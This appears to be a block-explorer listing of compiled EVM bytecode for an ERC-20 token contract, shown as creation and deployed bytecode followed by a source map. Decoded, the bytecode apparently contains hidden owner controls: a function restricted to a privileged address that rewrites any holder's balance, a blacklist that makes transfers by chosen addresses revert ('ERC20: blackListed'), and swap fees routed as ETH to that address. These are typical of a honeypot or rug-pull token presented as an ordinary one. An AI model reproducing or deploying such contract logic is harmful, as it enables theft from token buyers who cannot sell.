ffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161194f9190612402565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561199a57611999612815565b5b6040519080825280602002602001820160405280156119c85781602001602082028036833780820191505090505b50905030816000815181106119e0576119df6127e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a8257600080fd5b505afa158015611a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aba9190611e92565b81600181518110611ace57611acd6127e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b3530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e3c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b9995949392919061241d565b600060405180830381600087803b158015611bb357600080fd5b505af1925050508015611bc4575060015b611bcd57611bce565b5b60004790506000811115611c4657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c44573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611ca883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172b565b905092915050565b6000611cf283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d58565b905092915050565b6000808284611d0991906124e7565b905083811015611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590612342565b60405180910390fd5b8091505092915050565b60008083118290611d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9691906122c0565b60405180910390fd5b5060008385611dae919061253d565b9050809150509392505050565b600081359050611dca81612a9d565b92915050565b600081519050611ddf81612a9d565b92915050565b60008083601f840112611dfb57611dfa612849565b5b8235905067ffffffffffffffff811115611e1857611e17612844565b5b602083019150836020820283011115611e3457611e3361284e565b5b9250929050565b600081359050611e4a81612ab4565b92915050565b600081359050611e5f81612acb565b92915050565b600060208284031215611e7b57611e7a612858565b5b6000611e8984828501611dbb565b91505092915050565b600060208284031215611ea857611ea7612858565b5b6000611eb684828501611dd0565b91505092915050565b60008060408385031215611ed657611ed5612858565b5b6000611ee485828601611dbb565b9250506020611ef585828601611dbb565b9150509250929050565b600080600060608486031215611f1857611f17612858565b5b6000611f2686828701611dbb565b9350506020611f3786828701611dbb565b9250506040611f4886828701611e50565b9150509250925092565b60008060408385031215611f6957611f68612858565b5b6000611f7785828601611dbb565b9250506020611f8885828601611e50565b9150509250929050565b600080600060408486031215611fab57611faa612858565b5b600084013567ffffffffffffffff811115611fc957611fc8612853565b5b611fd586828701611de5565b93509350506020611fe886828701611e3b565b9150509250925092565b6000611ffe8383612019565b60208301905092915050565b6120138161260e565b82525050565b612022816125fc565b82525050565b612031816125fc565b82525050565b6000612042826124a2565b61204c81856124c5565b935061205783612492565b8060005b8381101561208857815161206f8882611ff2565b975061207a836124b8565b92505060018101905061205b565b5085935050505092915050565b61209e81612620565b82525050565b6120ad81612663565b82525050565b6120bc81612675565b82525050565b60006120cd826124ad565b6120d781856124d6565b93506120e78185602086016126ab565b6120f08161285d565b840191505092915050565b60006121086023836124d6565b91506121138261286e565b604082019050919050565b600061212b6012836124d6565b9150612136826128bd565b602082019050919050565b600061214e6022836124d6565b9150612159826128e6565b604082019050919050565b6000612171601b836124d6565b915061217c82612935565b602082019050919050565b60006121946010836124d6565b915061219f8261295e565b602082019050919050565b60006121b76021836124d6565b91506121c282612987565b604082019050919050565b60006121da6020836124d6565b91506121e5826129d6565b602082019050919050565b60006121fd6025836124d6565b9150612208826129ff565b604082019050919050565b60006122206024836124d6565b915061222b82612a4e565b604082019050919050565b61223f8161264c565b82525050565b61224e81612656565b82525050565b60006020820190506122696000830184612028565b92915050565b6000602082019050612284600083018461200a565b92915050565b600060208201905061229f6000830184612095565b92915050565b60006020820190506122ba60008301846120a4565b92915050565b600060208201905081810360008301526122da81846120c2565b905092915050565b600060208201905081810360008301526122fb816120fb565b9050919050565b6000602082019050818103600083015261231b8161211e565b9050919050565b6000602082019050818103600083015261233b81612141565b9050919050565b6000602082019050818103600083015261235b81612164565b9050919050565b6000602082019050818103600083015261237b81612187565b9050919050565b6000602082019050818103600083015261239b816121aa565b9050919050565b600060208201905081810360008301526123bb816121cd565b9050919050565b600060208201905081810360008301526123db816121f0565b9050919050565b600060208201905081810360008301526123fb81612213565b9050919050565b60006020820190506124176000830184612236565b92915050565b600060a0820190506124326000830188612236565b61243f60208301876120b3565b81810360408301526124518186612037565b90506124606060830185612028565b61246d6080830184612236565b9695505050505050565b600060208201905061248c6000830184612245565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124f28261264c565b91506124fd8361264c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561253257612531612759565b5b828201905092915050565b60006125488261264c565b91506125538361264c565b92508261256357612562612788565b5b828204905092915050565b60006125798261264c565b91506125848361264c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125bd576125bc612759565b5b828202905092915050565b60006125d38261264c565b91506125de8361264c565b9250828210156125f1576125f0612759565b5b828203905092915050565b60006126078261262c565b9050919050565b60006126198261262c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061266e82612687565b9050919050565b60006126808261264c565b9050919050565b600061269282612699565b9050919050565b60006126a48261262c565b9050919050565b60005b838110156126c95780820151818401526020810190506126ae565b838111156126d8576000848401525b50505050565b600060028204905060018216806126f657607f821691505b6020821081141561270a576127096127b7565b5b50919050565b600061271b8261264c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561274e5761274d612759565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612aa6816125fc565b8114612ab157600080fd5b50565b612abd81612620565b8114612ac857600080fd5b50565b612ad48161264c565b8114612adf57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220308aea8c58096f8aa4ba4e38bdc61049d025a12fcce2a9556213145b092503ce64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c806370a08231116100b6578063c5d241891161006f578063c5d24189146104db578063c816841b14610506578063c860795214610531578063dd62ed3e1461055c578063f0cd1dac14610599578063f2fde38b146105c457610156565b806370a08231146103b757806382eefb43146103f45780638da5cb5b1461041f57806395d89b411461044a578063a9059cbb14610475578063b2a3120b146104b257610156565b806323b872dd1161010857806323b872dd1461027f57806327c8f835146102bc578063313ce567146102e75780633345611e146103125780633ecad2711461034f57806360d5cfe11461038c57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee5780631d231b2c1461021957806322ab33401461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105ed565b60405161017d91906122c0565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611f52565b61067f565b6040516101ba919061228a565b60405180910390f35b3480156101cf57600080fd5b506101d861069d565b6040516101e591906122a5565b60405180910390f35b3480156101fa57600080fd5b506102036106c3565b6040516102109190612402565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e65565b6106cd565b60405161024d919061228a565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611f52565b6106ed565b005b34801561028b57600080fd5b506102a660048036038101906102a19190611eff565b610843565b6040516102b3919061228a565b60405180910390f35b3480156102c857600080fd5b506102d161091d565b6040516102de9190612254565b60405180910390f35b3480156102f357600080fd5b506102fc610941565b6040516103099190612477565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190611e65565b610958565b604051610346919061228a565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611e65565b610978565b604051610383919061228a565b60405180910390f35b34801561039857600080fd5b506103a1610998565b6040516103ae919061226f565b60405180910390f35b3480156103c357600080fd5b506103de60048036038101906103d99190611e65565b6109be565b6040516103eb9190612402565b60405180910390f35b34801561040057600080fd5b50610409610a07565b6040516104169190612402565b60405180910390f35b34801561042b57600080fd5b50610434610a0d565b6040516104419190612254565b60405180910390f35b34801561045657600080fd5b5061045f610a36565b60405161046c91906122c0565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190611f52565b610ac8565b6040516104a9919061228a565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190611f92565b610ae7565b005b3480156104e757600080fd5b506104f0610c23565b6040516104fd9190612402565b60405180910390f35b34801561051257600080fd5b5061051b610c29565b6040516105289190612254565b60405180910390f35b34801561053d57600080fd5b50610546610c4f565b6040516105539190612402565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e9190611ebf565b610c55565b6040516105909190612402565b60405180910390f35b3480156105a557600080fd5b506105ae610cdc565b6040516105bb9190612402565b60405180910390f35b3480156105d057600080fd5b506105eb60048036038101906105e69190611e65565b610ce2565b005b6060600180546105fc906126de565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906126de565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061069361068c610e34565b8484610e3c565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661072e610e34565b73ffffffffffffffffffffffffffffffffffffffff1614610784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077b90612362565b60405180910390fd5b6107fc600b546107ee6107df84600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100790919063ffffffff16565b8461100790919063ffffffff16565b61102f90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006108508484846110aa565b506109128461085d610e34565b61090d85604051806060016040528060288152602001612ae360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c3610e34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172b9092919063ffffffff16565b610e3c565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a45906126de565b80601f0160208091040260200160405190810160405280929190818152602001828054610a71906126de565b8015610abe5780601f10610a9357610100808354040283529160200191610abe565b820191906000526020600020905b815481529060010190602001808311610aa157829003601f168201915b5050505050905090565b6000610adc610ad5610e34565b84846110aa565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b28610e34565b73ffffffffffffffffffffffffffffffffffffffff1614610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590612362565b60405180910390fd5b60005b83839050811015610c1d578160086000868685818110610ba457610ba36127e6565b5b9050602002016020810190610bb99190611e65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1590612710565b915050610b81565b50505050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610cea610e34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e906123a2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea3906123e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612322565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffa9190612402565b60405180910390a3505050565b600080828461101691906124e7565b90508381101561102557600080fd5b8091505092915050565b60008083141561104257600090506110a4565b60008284611050919061256e565b905082848261105f919061253d565b1461109f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109690612382565b60405180910390fd5b809150505b92915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611112906123c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906122e2565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f90612302565b60405180910390fd5b600f60149054906101000a900460ff161561123f5761123884848461178f565b9050611724565b600061124a306109be565b9050600f60149054906101000a900460ff161580156112b35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112c2576112c181611962565b5b61131483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113fa5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561140757839050611623565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561148a576114836064611475600b548861102f90919063ffffffff16565b611cb090919063ffffffff16565b9050611508565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115075761150460646114f6600c548861102f90919063ffffffff16565b611cb090919063ffffffff16565b90505b5b600081111561160c5761156381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116039190612402565b60405180910390a35b61161f8186611c6690919063ffffffff16565b9150505b61167581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117159190612402565b60405180910390a36001925050505b9392505050565b6000838311158290611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a91906122c0565b60405180910390fd5b506000838561178291906125c8565b9050809150509392505050565b600061181a826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118af82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161194f9190612402565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561199a57611999612815565b5b6040519080825280602002602001820160405280156119c85781602001602082028036833780820191505090505b50905030816000815181106119e0576119df6127e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a8257600080fd5b505afa158015611a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aba9190611e92565b81600181518110611ace57611acd6127e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b3530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e3c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b9995949392919061241d565b600060405180830381600087803b158015611bb357600080fd5b505af1925050508015611bc4575060015b611bcd57611bce565b5b60004790506000811115611c4657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c44573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611ca883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172b565b905092915050565b6000611cf283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d58565b905092915050565b6000808284611d0991906124e7565b905083811015611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590612342565b60405180910390fd5b8091505092915050565b60008083118290611d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9691906122c0565b60405180910390fd5b5060008385611dae919061253d565b9050809150509392505050565b600081359050611dca81612a9d565b92915050565b600081519050611ddf81612a9d565b92915050565b60008083601f840112611dfb57611dfa612849565b5b8235905067ffffffffffffffff811115611e1857611e17612844565b5b602083019150836020820283011115611e3457611e3361284e565b5b9250929050565b600081359050611e4a81612ab4565b92915050565b600081359050611e5f81612acb565b92915050565b600060208284031215611e7b57611e7a612858565b5b6000611e8984828501611dbb565b91505092915050565b600060208284031215611ea857611ea7612858565b5b6000611eb684828501611dd0565b91505092915050565b60008060408385031215611ed657611ed5612858565b5b6000611ee485828601611dbb565b9250506020611ef585828601611dbb565b9150509250929050565b600080600060608486031215611f1857611f17612858565b5b6000611f2686828701611dbb565b9350506020611f3786828701611dbb565b9250506040611f4886828701611e50565b9150509250925092565b60008060408385031215611f6957611f68612858565b5b6000611f7785828601611dbb565b9250506020611f8885828601611e50565b9150509250929050565b600080600060408486031215611fab57611faa612858565b5b600084013567ffffffffffffffff811115611fc957611fc8612853565b5b611fd586828701611de5565b93509350506020611fe886828701611e3b565b9150509250925092565b6000611ffe8383612019565b60208301905092915050565b6120138161260e565b82525050565b612022816125fc565b82525050565b612031816125fc565b82525050565b6000612042826124a2565b61204c81856124c5565b935061205783612492565b8060005b8381101561208857815161206f8882611ff2565b975061207a836124b8565b92505060018101905061205b565b5085935050505092915050565b61209e81612620565b82525050565b6120ad81612663565b82525050565b6120bc81612675565b82525050565b60006120cd826124ad565b6120d781856124d6565b93506120e78185602086016126ab565b6120f08161285d565b840191505092915050565b60006121086023836124d6565b91506121138261286e565b604082019050919050565b600061212b6012836124d6565b9150612136826128bd565b602082019050919050565b600061214e6022836124d6565b9150612159826128e6565b604082019050919050565b6000612171601b836124d6565b915061217c82612935565b602082019050919050565b60006121946010836124d6565b915061219f8261295e565b602082019050919050565b60006121b76021836124d6565b91506121c282612987565b604082019050919050565b60006121da6020836124d6565b91506121e5826129d6565b602082019050919050565b60006121fd6025836124d6565b9150612208826129ff565b604082019050919050565b60006122206024836124d6565b915061222b82612a4e565b604082019050919050565b61223f8161264c565b82525050565b61224e81612656565b82525050565b60006020820190506122696000830184612028565b92915050565b6000602082019050612284600083018461200a565b92915050565b600060208201905061229f6000830184612095565b92915050565b60006020820190506122ba60008301846120a4565b92915050565b600060208201905081810360008301526122da81846120c2565b905092915050565b600060208201905081810360008301526122fb816120fb565b9050919050565b6000602082019050818103600083015261231b8161211e565b9050919050565b6000602082019050818103600083015261233b81612141565b9050919050565b6000602082019050818103600083015261235b81612164565b9050919050565b6000602082019050818103600083015261237b81612187565b9050919050565b6000602082019050818103600083015261239b816121aa565b9050919050565b600060208201905081810360008301526123bb816121cd565b9050919050565b600060208201905081810360008301526123db816121f0565b9050919050565b600060208201905081810360008301526123fb81612213565b9050919050565b60006020820190506124176000830184612236565b92915050565b600060a0820190506124326000830188612236565b61243f60208301876120b3565b81810360408301526124518186612037565b90506124606060830185612028565b61246d6080830184612236565b9695505050505050565b600060208201905061248c6000830184612245565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124f28261264c565b91506124fd8361264c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561253257612531612759565b5b828201905092915050565b60006125488261264c565b91506125538361264c565b92508261256357612562612788565b5b828204905092915050565b60006125798261264c565b91506125848361264c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125bd576125bc612759565b5b828202905092915050565b60006125d38261264c565b91506125de8361264c565b9250828210156125f1576125f0612759565b5b828203905092915050565b60006126078261262c565b9050919050565b60006126198261262c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061266e82612687565b9050919050565b60006126808261264c565b9050919050565b600061269282612699565b9050919050565b60006126a48261262c565b9050919050565b60005b838110156126c95780820151818401526020810190506126ae565b838111156126d8576000848401525b50505050565b600060028204905060018216806126f657607f821691505b6020821081141561270a576127096127b7565b5b50919050565b600061271b8261264c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561274e5761274d612759565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612aa6816125fc565b8114612ab157600080fd5b50565b612abd81612620565b8114612ac857600080fd5b50565b612ad48161264c565b8114612adf57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220308aea8c58096f8aa4ba4e38bdc61049d025a12fcce2a9556213145b092503ce64736f6c63430008070033

Deployed Bytecode Sourcemap

3775:6803:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5847:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6510:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4738:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6124:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4449:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7061:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7412:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4131:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6033:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4340:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4397:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4084:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6232:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4629:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2910:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5938:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7237:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;: